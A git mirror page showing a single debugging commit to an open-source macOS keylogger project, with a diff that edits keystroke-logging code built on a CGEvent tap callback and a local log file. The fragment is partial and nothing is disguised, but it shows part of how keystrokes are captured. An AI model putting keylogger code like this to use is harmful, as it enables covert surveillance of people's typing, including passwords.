mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Stupid IO.
This commit is contained in:
parent
b648c3ade9
commit
fa84df45a4
@ -27,7 +27,9 @@ int main(int argc, const char *argv[]) {
|
||||
|
||||
const char *logfileLocation = "./keystroke.log";
|
||||
logfile = fopen(logfileLocation, "a");
|
||||
fprintf(logfile, "Keylogging has begun.\n\n");
|
||||
fprintf(logfile, "Test");
|
||||
cout << logfileLocation << endl;
|
||||
fflush(logfile);
|
||||
CFRunLoopRun();
|
||||
|
||||
return 0;
|
||||
@ -39,10 +41,6 @@ CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef
|
||||
}
|
||||
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
|
||||
fprintf(logfile, "%s", convertKeyCode(keyCode));
|
||||
return event;
|
||||
}
|
||||
|
||||
const char *convertKeyCode(int keyCode) {
|
||||
return "keypress";
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user